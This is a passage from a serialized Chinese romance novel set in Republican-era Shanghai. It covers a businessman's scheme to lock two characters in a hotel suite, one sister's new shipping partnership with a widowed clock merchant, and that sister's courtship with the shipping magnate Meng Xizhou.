白瑾璎觉得他迷魂汤灌得也太过了,自己也不大好意思,抿着嘴角牵回正题道:“那我先前说的演讲比赛,您愿不愿意让他参加试试呢?我保证,这绝对是有好——” 还没有说完,徐百富已经大手一挥,爽快道:“参加!参加!白老师都说有益处了,我还有不支持的吗?” 他骤然之间转变了态度,完全没了上次推脱搪塞的样子,白瑾璎反倒狐疑起来,问道:“占用礼拜六的时间也不打紧吗?我看您上回不大愿意他周末上学校来,要是实在有事,不是不能商量别的办法。” 徐百富连着“唉哟”了两声,笑着道:“我那全是一片慈父之心呐!又觉得家里那小子怎样也不是一块读书的料,可今日听白老师您的意思,他未必不能有出息,那让他锻炼锻炼也无妨嘛。那句话是怎么说的?梅花香自苦寒来,是不是?要是为他读书好,失掉几个周末,那算什么?我一定全力支持的!” 这一番说辞与态度,说是一百八十度的大转变也不为过了!白瑾璎见他冲自己赔笑的同时,也不忘对旁边的蒋牧城露一个笑脸,心里便有一个猜测。 恐怕我是沾了蒋二哥的光了。白瑾璎心想:他要求着蒋二哥办事,又因为我们是认识的,便顺便当着蒋二哥的面,将我的事也应承下来卖一个好。难怪他想到了把我们二人约到一起,生意人的脑子,真是有够精灵。 她心里有点不痛快,但也只是一闪而逝,既然徐百富松口了,对徐克行来说总归是件好事,也就不再多想了。 白瑾璎将手上的材料收拢起来,道:“那末,我的事就算是谈完了。”目光看向蒋牧城,“你们谈事情,我也不方便打扰,就在旁边的小桌子喝茶看看画报吧。”说着便要起身。 徐百富忙向她拱了拱手,道:“白老师体贴周全呀,不过不急,眼看这茶也喝得差不多了,我正好去大堂再续一壶,顺便叫两份点心。”说罢,将茶壶一提,冲蒋牧城讨好似的挤一个眼色,微笑着退出了房间。 他一走,白瑾璎当下对蒋牧城嘀咕起来,“你不晓得,他昨天一万个不愿意合作,我现在真有点糊涂了。他现在答应得爽快,不要反悔得也快。”又弱弱地加了一句,“他像是卖你的面子呢。” 蒋牧城微笑一下,说:“卖谁的面子有什么要紧,你这边的事解决了,不就好了?何况,他卖好是他的事,真要谈公事,我是不徇私的。” 随后,白瑾璎又问了蒋牧城的家人,谈到自己家里,则说:“如今是各忙各的,当中学老师竟也不容易呢,晚上又要看外文典籍,一天下来,也就是晚饭时相互碰一面。瑾瑜就更不必说了,有时连晚饭也未必赶得上,倒是瑾琪喜气洋洋的样子,常常一个人偷偷发笑,瑾瑜有一回私下里找我,怀疑她在学校里谈恋爱了。” 蒋牧城笑了一声,摇着头无奈道:“你们老三的脑瓜子一向很灵活,她在学校里谈恋爱,我倒是相信。” “我真有点不放心,又不敢明着问,万一她没在谈呢?”白瑾璎忧愁地叹口气,耷拉下肩膀,“又万一,她谈的男孩子不好,你说我是阻止好,还是不阻止好?唉,现在的小女孩很有一点叛逆,有时候越拦着,她越要来劲的。” 这样那样闲聊的时候,并不感到时间流逝,等话题聊得差不多了,气氛一旦安静下来,白瑾璎便徒然的不自在起来。 从前她和蒋牧城相处的时候,要么就是热热闹闹地和家里人在一起,要么就是正在做什么事,譬如开车送一送她,或一道去什么地方,办完了也就结束了。像现在这样静悄悄的氛围她扭过头偷觑一眼,见蒋牧城高高大大地坐在旁边,两手放松地搁在腿上,十指指尖互相抵着,似乎是在想事情。 她忙不迭地收回视线,只觉得心跳得飞快,也不知是什么缘故,上回在西点档口外分吃一块蝴蝶酥时也是这样。 心慌之间,白瑾璎无意往墙上一瞥,才发现时间早过了半个钟头之久,可徐百富竟还没有回来!她像是找到了一个由头,猛地从沙发上跳起来,也就是这一瞬间,蒋牧城本想握住她的手扑了个空,掩盖局促般收了回来。 “徐先生怎么还不回来,不要是出什么事了吧?”白瑾璎向蒋牧城问道,同时人也往门口走去,“我去大堂看一看吧。” 可当她的手握上门把手时,神色变得古怪起来,“咦,怎么”手上又用力拧了两下,可把手还是纹丝不动,这是从外头被锁上了。 蒋牧城在白瑾璎面色有异时便走了过来,看到这里,他也伸手转了两下门把,同样是徒劳,又拍了好几下门,等了好一会儿,也没有服务人员来应。 惊慌的种子被种下后快速地发芽了,白瑾璎哪里还有工夫想什么徐百富,她只想到房间外走过的那条长走廊,这里又是少有人打扰的套房层,要是没有服务人员经过,那岂不是再没人能放他们出去? 她都没意识到自己轻微地发起抖来,视线满屋子地乱转,在看见睡房立柜上有一台电话机时,活像是看到了盛大的希望,“我真糊涂,饭店的住客要叫人,都是拨电话的!” 小鸟似的跑了过去,将电话提在手上,拨了呼叫服务台的号码零零壹,可不要说是占线的“嘟嘟”声,电话听筒里根本一点声音也无。这种情况,要么是电话坏了,要么是线路断了。 房门反锁,电话失灵,连徐百富也是去而不回,这几项放在一起,怎么由得人不害怕? 白瑾璎本来就胆子小,当下两手冰凉,惶然无措起来。她想着:不要紧,不要紧,蒋二哥也在呢。同时视线向外间望去,搜索蒋牧城的身影,但这非但不能让她镇定,也不知怎么的,一想到他们此刻共处幽闭的室内,她的心情像怕又不像怕,半紧张又半难堪,带着一阵热意烧上了脸颊。 另一边,在白瑾璎跑去打电话的时候,蒋牧城并没有动。他猛然间想到了徐百富走之前那个意味不明的挤眉弄眼,一时间恍然大悟,又怒不可遏。在他的印象里,还从没有什么事能激出他这样多的愤怒。 他下意识地看向白瑾璎,于是彼此的视线在空中交汇,可彼此的神情却—— 在蒋牧城的眼里,白瑾璎显然慌到了极点,唇色苍白,像被淋得湿透的瑟瑟发抖的小鸟;同时眼眶泛红,那片红一路扩散到脸颊上,也许是因为害怕,又或者是生气——还能是因为什么呢? 她的眼睫扑闪一下后快速移开了视线,可里头闪烁出的躲避和害怕已经刺痛了他。 原来孤男寡女共处一室时,她对他表现出的情绪竟是害怕。 女人会害怕男人,这是很正常的,可是蒋牧城想到自己刚才握空的手,本来还存着一点希望,觉得没有关系,下次握住她时,一样可以摊开心怀来好好谈一谈。可此时此刻,只觉得所有铺垫都功亏一篑,下一次又是遥遥无期了。 心里越痛,对着徐百富便越恨起来。 而在白瑾璎一边,比起对蒋牧城身为异性所抱有的害怕,更多的是对他此刻气到了极点的脸色。他面色铁青,整张脸阴沉得可怕,透出明显的厌恶。她的心下意识地狠狠一缩,不明白他为什么这样生气。 蒋牧城为人是很大度的,对于工作人员误锁了门,绝不至于动怒至此,所以他的生气和厌恶,有多少是和自己相关呢? 她伤心得不愿意去想,好在情况也不容她多想了,下一秒,蒋牧城已经松开了袖口,将袖子挽到肘间,拿起一把椅子便朝套房大门重重地砸去。 “咚——!!” 明月饭店二楼专管套房的服务总台,徐百富正坐在沙发椅里悠闲地咋着茶水,一面□□着摸出怀表来看了一眼,暗想:这才过了二十来分钟,少说还要有一阵呢! 他打心眼儿里觉得这一步棋走得妙,两个人能不能成,有时候就是缺一把火的事儿,自己将这把火给他点上,把这一份大礼直接给他送进卧房,哈哈!男人最清楚男人了,还有不受用的吗? 何况他还做了精心的准备,专门吩咐饭店大堂拔了那间房的电话线,到时候女人一慌,男人一搂,这一件事,不就成了吗?他帮着姓蒋的把人哄到手在先,到时候再提一个小小的请求,姓蒋的还能不答应? 徐百富越想越美,恨不得摇头晃脑地哼上一段,但再一个十分钟后,事情似乎不大对头了。 先是有人慌里慌张地去了服务总台,随后那里炸了锅一般,两个人往楼上跑,另一位套间经理则是神色紧张地来了自己这边:“徐先生,三楼那间房的客人砸门了,这和您说好的可不一样呀!” “您打了保票说绝没有问题,我才私下里给您办了,这动静要是闹大了,我是要吃瓜落的呀!哦,还有客人!以后哪个客人还敢住我们饭店?!” 还不等他啰啰嗦嗦地质问完,已然有一道身影突破了两个服务生的围堵,卷着刀子似的风径直靠近。有力的胳膊一抬一拽,轻易便将徐百富由沙发椅子上掀起,摁到了台面上。 蒋牧城恨红了眼道:“敢把这种不入流的手段耍到我头上,姓徐的,你胆子真不小。” 第39章 第 39 章 生什么气,姓蒋的怕是做…… “然后呢?”白瑾瑜连筷子也不动了, 在听完事情始末后紧跟着问。 白瑾璎窘迫又为难似的抿了抿唇,道:“砸门的动静多么大,他才砸过两下, 立刻就有人来替我们开门了。蒋二哥吩咐他的车先送我回家, 自己又回了饭店, 也不知为什么缘故, 大概是找店家理论去了吧” 她拿筷子拨弄着米饭, 实在有些食不知味,蒋牧城沉着脸的样子总是不受控制地浮现在脑海,自己也莫名感到委屈,闷闷地道:“他不要是生我的气了吧?” 白瑾璎稀里糊涂的, 不明白自己是中了别人的圈套, 可白瑾瑜是怎样厉害精明的人物, 在听到这个徐百富迟迟不回的时候,就已经将始作俑者的白条钉到了他的身上。虽说蒋牧城也算是个受害者, 但她还是忍不住在心里哼笑:生什么气, 姓蒋的怕是做梦都要笑了! 想是这样想, 面上却并不打算说出来:这话暗示的意味太深了, 我何必顺水推舟,替蒋牧城做筏子? 只是还不等她表示出意见, 旁边喜滋滋夹着菜的老三倒先她一步丢出一颗炸弹来, 把她的谋划给打破了。 白瑾琪随口道:“唉, 真没劲, 怎么就砸门了?这要是放在《摩登故事会》里,一准就是罗曼故事的开头了!话说回来,和二姐你这样的漂亮小姐呆在一起,蒋二哥还不乐意吗?” 还不等她把一颗冬菇放进嘴里, 只见白瑾璎像是触了一下电似的,突然涨红了脸反驳道:“胡说!”这激动的样子,实在也是平时少见。 另一边,白瑾瑜也在桌子底下重重踢了老三一脚,凉飕飕的眼风随之而来。 白瑾琪见两个姐姐都瞪着自己,顿时委屈地缩着脚,叫道:“我就是随便一说呀!” 湿漉漉的大眼睛使劲地眨着,在白瑾瑜和白瑾璎之间滴溜溜看过一圈,立刻转过了口风:“真的!今天早上蒋二哥来接人的时候被隔壁那个余白瞧见了,他还和我打听,问那是不是我姐夫呢!我和他狠狠吵了一架,我说胡说八道!不是!” 挺着胸脯,显示忠心一般。 白瑾璎在听到“姐夫”这个词时,脸上的红晕更添一层,像是由白皙的皮肤下沁出血来似的。同时心里矛盾非常,忍不住往白瑾琪提出的思路上去想—— 设若真是这样的情境,那蒋牧城无疑是个正派的君子了,只是从另一方面看,他的行动也表明了对自己丝毫没有念想,又多少令人失 不对!不对!白瑾璎在心里对自己呐喊:他当初差点就是你的姐夫了呀!并且一直对你颇多关照,这么多年的二哥,难道是白叫的吗?亏你还能这样想他! 当下便把所有乱七八糟的念头都扑灭了,可这样一来,又觉得心里空落落的。 白瑾瑜暗暗观察着她变化不断的神色,心中实在感到不妙:但凡一位女子对一位男子的言行举止开始多想,情绪上又动摇不断的时候,那可就离“恋慕”不远了! 于是立刻将对话重新拨回到“生气”那一环,意图转移焦点,大事化小:“好了,不必多想。你又没做错什么事,他即便是生气,也不是生你的气。人都说女人的脸,六月的天,我看男人的情绪也是说来就来的,气一阵儿也就好了。停停停,不说他了,我有事要宣布呢。” 说着,白瑾瑜清了清嗓子,做演讲一般,微笑着道:“我生意上的困难,已经彻底地解决了!” 这件事说来真如奇遇一般,白瑾瑜此前在将一位昏死在马路边的太太送去医院后,自己也抽空去探望过几次,了解到这位太太姓陈,心脏一直不大好,从前出门时都会让女佣人陪同,也带着药,因为从没出过什么差池,渐渐也就放松了警惕。谁能想得到,偏偏是这一次独自外出的时候,心脏疾病就发作了! 白瑾瑜第二次去探望她时,陈太太已经转醒了,自然向她郑重道谢。可道完了谢,倒对她打量起来,半晌问道:“贵姓可是姓白?” 白瑾瑜惊奇道:“是,太太怎么知道?”从前白齐盛当军务总长时,倒是常常上报纸,但她可从没在报纸上露过脸呀;过往洽谈过的合伙人里,也不记得有这样一位太太。 陈太太笑了一笑,“从前许多宴请聚会,我们都同在受邀之列,不过彼此没有交谈过,所以白小姐不认识我。” 由此起头往下聊,才知道陈太太早年和丈夫离婚之后,就自己另起门户单开,经营西洋钟表生意,“死男人在外头花天酒地,挥霍银钱,凭什么要我共担损失?横竖我是气不过,兴许我这心脏病,就是那时候给气出来的哩!我是一点儿瞧不出男人有什么好,就连我自己的儿子,离婚那会儿一口咬定了要跟着他爸,如今没钱使了,还不是上我这儿打秋风?唉!” 说到这儿,转头看向白瑾瑜时,脸上又是温和的微笑了,“所以我才格外的留意你。” “你知道吗?我常常参加贵人们的宴会,年轻一代的小姐们,要么花枝招展地忙着玩爱情游戏,要么是东一场慈善仪式西一场文学沙龙的上报纸,或者以摩登之名登上杂志画报,总归是想方设法地出风头。这些小姐们也不工作,要风头名声有什么用?无非是想找个金龟婿罢了。爱情,男人,丈夫,那都是空的东西。但你不一样,东奔西跑一头扎进生意堆里的,就你一个。” 白瑾瑜似乎也顺着她的话回想起了过去的自己,现在来看,到底稚嫩又莽撞,自己也不好意思地笑了。 陈太太收敛了笑容,宽慰道:“白家的事,我也从报纸上知道不少,天不遂人愿,这是没有办法的。你的生意怎么样呢?” 白瑾瑜自觉没什么好遮掩的,坦言道:“和从前相比,确实困难了许多。” 陈太太又问,白瑾瑜便将需要租船运货,可合约没能谈成的事略说了说。 陈太太沉吟片刻,忽而抬头道:“且慢,且慢,我就是租用了孟家的半条船,不如从我这里单租一间货仓给你?价钱——价钱就按原价格来算!一分也不多要你的!” 白瑾瑜吓了一跳,不敢相信有这样天上掉馅饼的好事:怎么我救了她,她就正好有多一间的货仓给我呢?设若是专门为我匀出来的,势必自己要蒙受一点损失,在商言商,又怎么会丝毫不抬高租价呢? 心里不由生出一丝警惕,试探道:“那怎么行?我知道,一通电话并一台救护车,没有这样大的价值。” 陈太太定定地看了白瑾瑜一眼,下一秒笑出声来,玩味道:“小姑娘,你以为我是感念你救了我,故意给你便宜占吗?你还是年纪小,看不出到底是谁占了便宜哩!” 说完,她静静地等着。白瑾瑜在心里飞快地捋着自己的人脉关系,如今白家失势,可利用的最大资源无非就是这才后知后觉地回过味来:“您是想让蒋牧城卖我的面子,通过我,好让海关速速放行?” 陈太太面带激赏地点了点头,十二分坦诚道:“我知道白家和蒋家是很好的交情,这点情面,不会不给。但凡装了你货品的船,海关那边就绝不会拖延,立刻就能查验卸货,这是其一。” “第二,就是我所做的钟表行当了。此前西式的摆钟壁钟很是风靡,稍富裕点的人家就想买一个来装点门面,但那到底是大件,不会轻易更换,坏了或慢了,也多是请钟表师傅来修理,故而买家比从前少了不少。” “对壁钟的需求少了,货量当然也要减少,即便多进一些座钟或手表,体积相差悬殊,货仓本就空出不少。再有,卖大钟的店家少,小的钟表可就不一定了,随便哪家洋货行,估计都有几样货,这不就看谁家的货更新、上货更快了吗?所以你瞧,海关这一层关系,对我要不要紧?我把多余的货仓转租给你,等于我租的仓位毫不浪费,又多了一重时间上的保障,我亏在哪里呢?要是再抬高给你的租价,那我真是算计得太过,要觉得亏心了。” 陈太太并不掩藏自己的精明,甚至志得意满地冲白瑾瑜一笑,对此番决策颇为满意的模样。 这样的态度非但不惹人讨厌,反而因其真诚坦荡,让人心生好感信任。 白瑾瑜怔怔地瞧着她,一时间竟说不出话来。她从前对自己总有一点自得,从不否认自己较寻常女子更为聪明厉害,可如今才意识到自己还是太过狭隘,在真正厉害的人物面前,她可差得太远了。 白瑾瑜一面自叹弗如,一面又于内心深处萌发出一种激励与向往,未来活成陈太太这样,不也很好吗? “多的不说,总之,这桩协议就算是达成了。” 在白瑾瑜宣布了这件大事之后,不说白瑾璎狠狠为她松了口气,就连白瑾琪都欢欣鼓舞起来,知道家里的财政支柱保全了,总不会有退学之类的厄运降临在自己身上,小嘴直如抹了蜜一般,说了一箩筐的好听话。 白瑾瑜半真半假的面露嫌弃,把奶糖一般往人身上贴的白瑾琪扯开一点,正色道:“你不要耍花腔,我先前是太忙了,没工夫管你。我提醒你,可不要学别人在学校里谈什么爱情。一个个书没读进去几页的小孩子,懂什么爱情,男孩子更是了,真心没几两,谎话一箩筐。” 白瑾琪不大服气的样子,吐了吐舌头说:“大姐姐你不懂,我们戏剧社,那都是演戏。再说了,单单男人会骗人吗?谁骗谁还不一定哩!”说着,扒完最后两口饭,一溜烟地跑开了。 留下白瑾瑜与白瑾璎两两对视,无奈又好笑地继续用饭。 不过白瑾璎光顾着替她高兴,再没把注意力放在明月饭店的事件上,这一点还是令白瑾瑜格外满意的。 第40章 第 40 章 密斯白太倔了,我还能有…… 陈金阑陈太太在医院住了小十天后便回家了。 一来是觉得自己好得差不多了, 二来,即便住的是高级病房,也远远不如家里自在。医院里的小护士们虽说是为了病人好, 说起话来, 大多带点自恃专业人士的强硬, 这不行那不行, 连来探病的朋友都被请走了两次。 陈金阑是顶喜欢热闹的, 最受不了这约束劲儿,天天催着主治医生批准她出院。 这天下午一回到家里,便接到一通电话。原先还以为是不争气的儿子又来哭穷,心道他的消息倒是灵通, 自己什么时候出院都知道得一清二楚, 怎么住院的时候鬼影子也见不到一个呢?于是任凭电话铃空响了三声, 可对面就是不挂断,这才不耐烦地一把接到手里。 刚听了一句, 晦气的脸色便转晴了:“原来是孟老板, 多谢挂心了, 我在医院的时候, 您就送过慰问的果篮了。” 打来这通电话的,正是孟西洲无疑。 在那天和白瑾瑜谈崩之后, 他实在进也不是退也不是, 再要和她谈吧, 恐怕换不来多少好脸色, 若是再谈不顺,岂非比现在的情形更糟?可就此偃旗息鼓、分道扬镳呢?好不容易等白瑾瑜蹬开了那个姓柳的,要他看着她再遇见下一个姓林的姓杨的,偏偏自己又不能行动, 这怎么叫人甘心? 于是只好偷偷地关注她。这段时间,白瑾瑜见过哪些个大小老板,他都是门儿清,就等着一个合适的机会露面,替她牵线搭桥了。她和陈太太达成合作的事,自然也逃不过他的耳目。 孟西洲和气地慰问了几句病情,便将话头转向了刚签不久的货船租赁合约上,说陈老板是信誉很好的老顾客了,可以再降低一成的租价,以达成更牢固长久的合作关系。又说:“我听说白小姐也和您租了一间货仓,能向这样自强自立的两位女士让利,我们是很乐见的。” 陈太太起先听得一头雾水,这一下顿时明白了,调侃似的打趣道:“我在商场沉浮多年,可再不相信天上掉馅饼这一套了。怎么我前脚刚租了白小姐一间货仓,后脚孟老板就赶着要给我让利呢?孟家那么多老主顾,别是只给我让了利吧?” 那边孟西洲沉默了片刻,再开口时,口气明显透着失落:“密斯白太倔了,我还能有什么法子呢?” 这回答真是妙极!对于陈太太的猜想并不否认,甚至明里暗里都透露出自己正在追求白瑾瑜的意思,要招揽来陈老板这个拥趸。此外,他讲话的口吻又带着受挫失意,仿佛他不再是坐在谈判桌对面的凌厉精干的孟老板,而是个受爱情之苦的年轻小伙,叫人心生好感与怜惜。 陈太太果然吃这一套。 她自己不结婚,可对于年轻男女的爱情,却很爱撮合一下,何况白瑾瑜本就是她很抱有好感的小姐,孟西洲孟老板呢,比起那些不着调的纨绔子弟,那可好出太多啦!哈,可堪一配! 心里兀自激动了一下,却说:“孟老板,不是我不帮你,有便宜我还不占吗?不过我能看出来的花招,白小姐未必看不出呀?她为人很谨慎,这一点在小姐之中就很难得。我提出照原价租给她一间货仓时,她还抱有疑心哩,现在又说要减免一成,她能猜不出里头有鬼吗?” 电话那边又是一阵沉默,似乎是无计可施了,正应了那中了爱情的金箭,又不善于玩爱情游戏的年轻人形象。 陈金阑兴味更盛,笑嘻嘻地道:“我当然是祝孟老板心想事成了,不过小姐们的心意是很难说的。我和白小姐很投缘,要是先受了你的好处,好心办了坏事,可就要失掉这个可心的朋友了。” 孟西洲沉吟了一瞬,忽然道:“医院里一定诸多的不自在,我明天在小芳廷替陈老板摆一桌去晦宴,您赏不赏光呢?”那口吻恭恭敬敬的,一点没有谈买卖时的气势,倒像是要请长辈帮一帮忙呢。 陈太太揶揄道:“是单独请我一个吗?那未免太冷清了,我再捎带一个过来,好不好呢?” 在她瞧不见的电话那边,孟西洲终于露出一个计谋得逞的微笑,嘴上却格外的谦卑,“当然,当然是最好。要是她真愿意过来,那我真要多谢陈老板。”又寒暄了两句,才将电话挂断。 陈金阑放下电话后,在沙发上狠狠乐了一阵,觉得这年轻男女的爱情关系,实在很有趣味,让人愿意去瞧,难怪那些八卦报纸一天天的登的都是明星之间的桃色绯闻。这样想着,又给白瑾瑜拨去了一通电话。 陈太太邀请她吃饭,白瑾瑜当然不会拒绝,谁知刚答应下来,那边就说:“啊呀,我差点忘了,明天孟老板也会来的。不过你也不必担心,他人很不坏,年纪也轻,你们年轻人,不怕找不到话说。” 白瑾瑜听到孟西洲要来,心里便咯噔一下,也不知在心虚什么。如今自己不靠他,也把这货仓的难题给解决了,怎么就不敢见他了呢? 陈金阑因她没有立刻接话,已然觉察出了她的犹豫,于是佯装对他二人的关系不知情的样子,轻松道:“你怪他这个大股东,不把货仓租给你吗?可你从我手上租到了,往他跟前一坐,正是种宣告胜利的方法呀,不是很痛快吗?对了,你还记不记得在我病房里削过一个苹果吃?那也是他送的果篮哩,多么巧!” 陈太太说话实在别有趣味,什么“往他跟前一坐,就是宣布胜利”,连白瑾瑜都忍俊不禁,再想一想那场面,果然紧张也跟着缓和不少。又听她侃了两句,还是答应下来。 第二天,白瑾瑜为避嫌疑,也没有特意打扮,一身淡色的西式套装便去小芳廷赴约了。 陈金阑和孟西洲来得更早,又因为孟西洲坐在正对入口的座位,白瑾瑜一走进包间便和他对视个正着。她神色一僵,还不知要说点什么,孟西洲已经对她露了个笑容,道:“密斯白,许久不见了。” 随即站起身来,体贴周到地替她拉开了座椅,好像先前那次不欢而散的谈话从没发生过似的。 冤家宜解不宜结,何况在座三个人,自己租用陈太太的货仓,陈太太租用孟西洲的货船,真要算起来,姓孟的还是最上峰。这样一位举足轻重的人物率先表示出友好,递出台阶,自己还有不下的道理吗?白瑾瑜也就回了一个笑脸,大大方方地入座了。 既然是去晦宴,主角自然是刚出院不久的陈太太,孟西洲也做足了风度,甘愿做个镶边的配角儿,让话题围着陈太太转,哄她高兴。 直到西崽端来了最后的咖啡,陈太太啜了两口,提出要去补一补粉,拎着装了化妆镜的手袋便出去了。 包间里一下子冷清下来,白瑾瑜望了孟西洲一眼,见他垂眸不知在思索什么,便也心不在焉地先饮了一口咖啡。一口苦味刚含进嘴里,孟西洲便笑着看了过来,“不加糖就喝,不怕苦吗?” 说话的同时,也不管杯子还被白瑾瑜捏在手里,伸长了手,替她加了两块糖。 见白瑾瑜的目光被引到了自己身上,这才正了正脸色,示好道:“你还生我的气吗?在追求爱情这一点上,我大概太过心急,以至于用错了方法。不过人的想法总是各有差异的,好比读书时的算学题,用的方式不同,未必得不出正确的答案,是不是?” 白瑾瑜明艳的脸怔楞着,只有脸颊边轻轻晃动的两滴绿玉髓泄露了一点摇曳的心旌。孟西洲看在眼里,只觉得三年时光只在弹指之间,自己弯弯绕绕又遮遮掩掩的衷肠,不去倾诉,又有几个三年可以蹉跎?那轻轻晃动的不光耳坠,难道不也是自己的心吗? 可恨这耳坠叫人想起柳世新来,他记起来了,那时她在香山上办家庭小聚会,把姓柳的介绍给家里两个姐妹时,戴的就是这一副绿水滴似的耳坠。 受到这一份恼恨的影响,连声音都消沉下去,流露出几分失意:“我回去后仔细想过,你说的不错,爱情总该有纯粹的底色。可是,我既然爱你,就不能忍住不去帮你;可如果帮了你,就失去了谈爱你的资格,这似乎又是不可解的矛盾了。” 孟西洲微弱地一笑,将手伸到白瑾瑜放在桌上的手边,不敢径直握上去,只是静静地贴靠着,“你瞧,如今不正是老天给出的明示吗?你生意上的困境解决了,剔除了利益关系,我们还不能谈纯粹的爱情吗?” 白瑾瑜看着靠在自己手边那只指节分明的大手,真不知说些什么好。世上真有万分真诚恳切的、始终如一的爱情吗?在经过柳世新的变节后,她早已对此画上问号;可要说自己毫不心动,那又怎么可能呢? 就是在这一瞬间,白瑾瑜忽而恍悟了。 自己怎么傻了?命运莫测,今天难料明天的事,这世上又有什么是能够始终如一的? 自己对于孟西洲,竟想得这样久远,以至于患得患失起来,还不能说明对他的珍爱重视吗?既重视,不如先牢牢攥到手里,往后如何,那就看往后再说好了。 于是,桌上的手稍稍抬起,覆到孟西洲近在咫尺的手背上,妥协地叹了一句,“怎么不能够呢?” 40-50 第41章 第 41 章 终于终于,这一块璧玉,…… 下一刻, 底下的手便反手一握,将白瑾瑜的手牢牢控在了手心。 孟西洲的一双眼整个明亮起来,灼灼的视线投注在白瑾瑜身上, “你这是答应了?”生怕她反悔似的, 又一口咬定, “你答应了, 我听得清清楚楚!” 白瑾瑜还从没见过他这副兴冲冲的样子, 忍俊不禁地一笑,说:“我很守信用,总不会和你赖账。” 将被握紧的手往回抽动一下,“好了, 我们两个握着手, 像什么样子?你放一放, 我要去盥洗室找一找陈太太,怎么她去了这么久也不回来。” 刚说着, 包间的门便被人从外头扭开了。陈太太施施然地踏进来, 对于白瑾瑜飞快抽开又藏到桌下的手, 只当看不见似的, 冲孟西洲露出一个别有深意的微笑,抱歉道:“对不住, 对不住, 让你们久等。我是赶巧碰上一个熟人, 聊着聊着, 就忘记时间了。” 孟西洲客气道:“哪里,今天您是受招待的一方,多久也等得。只是陈老板刚出院不久,我不好再安排多的活动, 不如就坐我的车回去,您意下如何?” 陈金阑见他满脸都是愉悦的光彩,可见心情极好,眨了眨眼,心里便有数了。却故意扭头看向白瑾瑜道:“孟老板太客气了,一样要送,不如多送一位。白小姐要不要一道回家?” 白瑾瑜刚要说话,却被孟西洲抢了个先,反过来问她道:“密斯白要回家吗?我们刚谈到的新电影,密斯白说很有兴趣,一样出来了,我以为你会去看一看呢。” 这么明显的暗示,白瑾瑜总不会不给他面子。何况她自己也知道,几分钟前刚说好了交往,一个就要回家去,另一个保准不会乐意的。于是只好顺着说:“是,横竖走两步就是春欣电影院,去看一看也无妨。” 陈太太也很爽快,“好,那汽车就归我用了。”向他二人点了点头,拿了外衣手包便告辞。 陈金阑一离开,孟西洲的手立刻便又握了上来,拇指细细抚摩着白瑾瑜的手背,见她没甚反应,光盯着陈太太离开的包间门口发呆,忍不住收紧手心拉了一下,问:“在看什么?” 白瑾瑜瞅了他一眼,回想自己答应追求的一刻,多少有点情绪上头,此刻理智回拢了,便觉得公私还是需要分清,于是说:“我说话算话,你也得做事磊落才是。我看出来了,你一定找了陈太太替你攒局,不然,哪儿有这样巧的事,上个馆子就能遇到熟人;咱们刚说完话,她就又回来了呢?” “所以我们先说好,交往归交往,可万一哪一天要分手,你不许迁怒到陈太太身上,也不许拿陈太太做要挟,和我谈条件。” 孟西洲捏着她一只柔荑,苦笑道:“为我上次说错话,我在你眼里,俨然已经是个阴谋家了。我真有这样蛮横吗?公私分明,我总可以做得到。不说陈太太是船厂的老主顾,没有不分青红皂白就毁约的道理,我说不租就不租,别的主顾怎么想?就是我们之间,你怎知就一定有分手的一天?” 白瑾瑜微笑着不说话,孟西洲便拿食指在她手背上轻点着,思忖片刻后笑道:“不成,不成,交往的头一天,你就这样喝我们的倒彩,不罚你一下,太说不过去。” 白瑾瑜心里好笑,故意拿他之前的借口揶揄他:“怎么罚呢?陪你看场新电影吗?那就走吧。” 刚要站起来,没想到孟西洲还是握着她的手不放,又把人拉回到座椅上,摇头道:“我不看电影。”他的视线绕着白瑾瑜的脸庞转一圈,最后落定在她的莹白色的耳垂上,说,“这样,我要你一副耳坠引以为鉴,不为过吧?” 白瑾瑜不明白其中深意,沉吟片刻后轻笑了一声:“孟老板眼光倒是准,这一副可是正宗的舶来品,价格在七八百上下。我倒不知道说错一句话,就要付这样大的代价。” 这一句小小的讽刺,可让孟西洲心口憋闷得快要呕血,当下又将她的手狠狠握了一握,放平了嘴角怨愤道:“你真不是存心的吗?当年和姓柳的在香山办小聚会时,你就是戴了这副耳环,现在又故意戴了来气我。” 白瑾瑜瞪圆了眼睛,惊道:“这都是多久前的事了,我每天戴哪一副耳坠,哪里记得清楚?不要是你瞎说的吧?” 孟西洲更气,哗啦啦地翻了回旧账,“真是我瞎说吗?我那天弹了段钢琴,姓柳的说我是哗众取宠,你虽然打了圆场,实际还是偏帮着他说话。我想一想便心里难过,故而一时半刻,也见不得你戴这副耳坠。” 白瑾瑜顿时哑口无言,一来想不到他真把这么件小事记得分毫不差,二来他话里话外那种委委屈屈的劲儿,又让人觉得挺新奇。想一想,这件事能让他一记好些年,怕不是已经成了他一个心结吧?如今他主动坦白出来,自己不予解决,似乎有些说不过去。 到底退了一步,也不明说答应或拒绝,微微叹气:“要我割爱,也不是不行。只是耳坠给了你,我戴什么呢?” 白瑾瑜倒不是吝惜首饰,只是短短半天,孟西洲先是索求名分,后是索求物件,难免让人觉得他要的太多。也不知他是怎样想的,自己要是一味妥协答应,往后这人会不会得寸进尺?既然是“谈”,总得有来有回才好,不能只叫他一个人称王称霸吧? 这样问,孟西洲那双深邃的眸子立刻闪着碎光望了过来,“原来你是担心这个?那有什么,我用三副来换你这一副,怎么样?” 当下便把她带去了附近的洋货行,一路往放了珠宝首饰的玻璃柜面走。 经过几面装戒指的玻璃柜时,佯装不经意地停下端详两眼,问:“你不看一看吗?我看这里的戒指也很好,不如把耳坠换成戒指呢?我绝没有二话。” 白瑾瑜睨了他一眼,直觉他心里的算盘拨得太快,哪儿有人在交往第一天就送戒指的?婉拒道:“不必,不是说来看耳坠的吗?那就不要三心二意了吧。” 于是终于去到陈列耳坠的柜面,选中一副小巧却精细的黄宝石耳环(白瑾瑜断然回绝了选购三副的提议)。门店经理笑意盈盈地把首饰盒子呈递过来,孟西洲也不要另外包装,当下就让白瑾瑜换戴上新的。 白瑾瑜心想:既然自己都答应了,那也没什么可扭捏的。便让经理拿来一面圆镜,刚伸了手要去摸耳垂后的暗扣,另一只手已先一步过来,虚虚捏住了自己的手腕。 孟西洲凑近了道:“我如今既是你的男友,这一件事,总可以代劳吧?”说着,捏着白瑾瑜的手慢慢放下,自己小心又小心,细致又细致地拆下原先那对绿玉髓的,再将新的那一对黄宝石,戴进柔白耳垂上小小的耳洞。 白瑾瑜侧着头,只觉得微微温热的手指不断轻揉拨弄着自己的耳朵,戴完左耳又伸向右耳,分明不痛也不痒,偏偏有一阵难耐的麻痒往心里钻似的。等他刚一松手,她便忙不迭装作去照镜子,抚着胸口悄悄吁一口气,好叫那颗跳得太快的心暂且缓一缓。 另一边,孟西洲难得没有将注意力放在她身上。 